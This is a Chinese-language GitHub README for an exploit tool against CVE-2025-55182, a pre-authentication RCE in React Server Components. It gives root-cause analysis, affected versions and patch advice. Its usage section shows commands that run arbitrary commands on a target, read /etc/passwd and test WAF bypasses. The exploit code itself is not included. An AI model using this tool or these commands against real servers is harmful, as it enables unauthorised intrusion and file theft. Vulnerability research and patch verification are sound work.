SentinelXofficial/CVE-2025-55182
GitHub: SentinelXofficial/CVE-2025-55182
针对 CVE-2025-55182 的概念验证利用工具,用于验证 React Server Components 中 CVSS 10.0 的预认证 RCE 漏洞。
Stars: 0 | Forks: 0
# CVE-2025-55182 — React2Shell




## 概述
CVE-2025-55182(也称为 **React2Shell**)是一个严重的预认证 RCE 漏洞,影响 React Server Components (RSC) 生态系统。未经认证的攻击者可以通过单个精心构造的 HTTP POST 请求完全攻破存在漏洞的服务器。
## 技术分析
### 根本原因
React Server Components 使用一种称为 **React Flight** 的自定义传输格式来序列化函数引用和模块调用。该漏洞存在于处理发往 RSC endpoint 的传入 POST 请求的 payload 解码机制中。
当服务器接收到 React Flight payload 时,它在没有进行充分验证的情况下对内容进行了反序列化,盲目信任攻击者控制的 `$$typeof` 字段和模块引用解析。这使得攻击者能够:
1. 引用任意的 Node.js 内置模块(例如 `child_process`、`fs`、`net`)
2. 通过 `$F`(函数)类型标记链接函数调用
3. 在 Node.js 服务器 runtime 下执行任意代码
### 受影响版本
| 包名 | 存在漏洞版本 | 已修复版本 |
|---|---|---|
| `react-server-dom-webpack` | 19.0.0 – 19.2.0 | ≥ 19.2.1 |
| `react-server-dom-parcel` | 19.0.0 – 19.2.0 | ≥ 19.2.1 |
| `react-server-dom-turbopack` | 19.0.0 – 19.2.0 | ≥ 19.2.1 |
| `next` (13.x) | 13.3.0 – 13.5.x | ≥ 14.2.35 |
| `next` (14.x) | 14.0.0 – 14.2.34 | ≥ 14.2.35 |
| `next` (15.x) | 15.0.0+ (见补丁) | 已修复的发布版本 |
### CVSS
```
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0 Critical
```
## 功能
- **扫描 (Scan)** – 检测存在漏洞的 RSC endpoint 并识别 Next.js/React 版本指纹。
- **验证 (Verify, OAST)** – 发送带外 (out-of-band) payload,通过 DNS/HTTP callback 确认 RCE。
- **绕过 (Bypass)** – 全面的 WAF/IDS 绕过:content-type 变异、payload 编码、header 伪造、路径变体以及 WAF payload。
- **执行 (Execute)** – 在目标机器上运行任意系统命令(例如 `id`、`whoami`)。
- **读取 (Read)** – 从服务器读取任意文件(例如 `/etc/passwd`、`package.json`)。
- **JSON 输出** – 提供机器可读的结果以便于集成。
## 安装
```
git clone https://github.com/SentinelXofficial/CVE-2025-55182
cd CVE-2025-55182
pip install -r requirements.txt
```
用法
基础扫描
```
python3 poc.py -t https://target.com
python3 poc.py -t https://target.com --timeout 15
python3 poc.py -t https://target.com --json
```
使用 OAST 验证 RCE
```
python3 poc.py -t https://target.com -m verify --oast your.oast.domain
```
全面绕过测试
```
python3 poc.py -t https://target.com -m bypass --verbose
```
执行命令
```
python3 poc.py -t https://target.com -m exec --cmd "id"
python3 poc.py -t https://target.com -m exec --cmd "whoami" --timeout 20
```
读取文件
```
python3 poc.py -t https://target.com -m read --file "/etc/passwd"
python3 poc.py -t https://target.com -m read --file "/app/package.json"
```
使用代理(例如 Burp Suite)
```
python3 poc.py -t https://target.com --proxy http://127.0.0.1:8080
```
文件结构
```
CVE-2025-55182/
├── README.md
├── poc.py
├── requirements.txt
└── exploit/
├── __init__.py
├── payloads.py
├── scanner.py
├── bypass.py
└── rce.py
```
缓解措施
打补丁(推荐)
```
npm install next@14.2.35
npm install react@19.2.1 react-dom@19.2.1
```
临时变通方案
· 禁用 Server Functions ("use server")
· 配置 WAF 规则拦截 Content-Type: text/x-component
· 对 RSC endpoint 进行网络隔离
参考
· https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
· https://www.cve.org/CVERecord?id=CVE-2025-55182
· https://nvd.nist.gov/vuln/detail/CVE-2025-55182
免责声明:仅供授权的安全测试使用。
作者:SentinelX · https://t.me/SentinelXsecurity
标签:CISA项目, MITM代理, PoC, 暴力破解, 编程工具, 远程代码执行, 逆向工具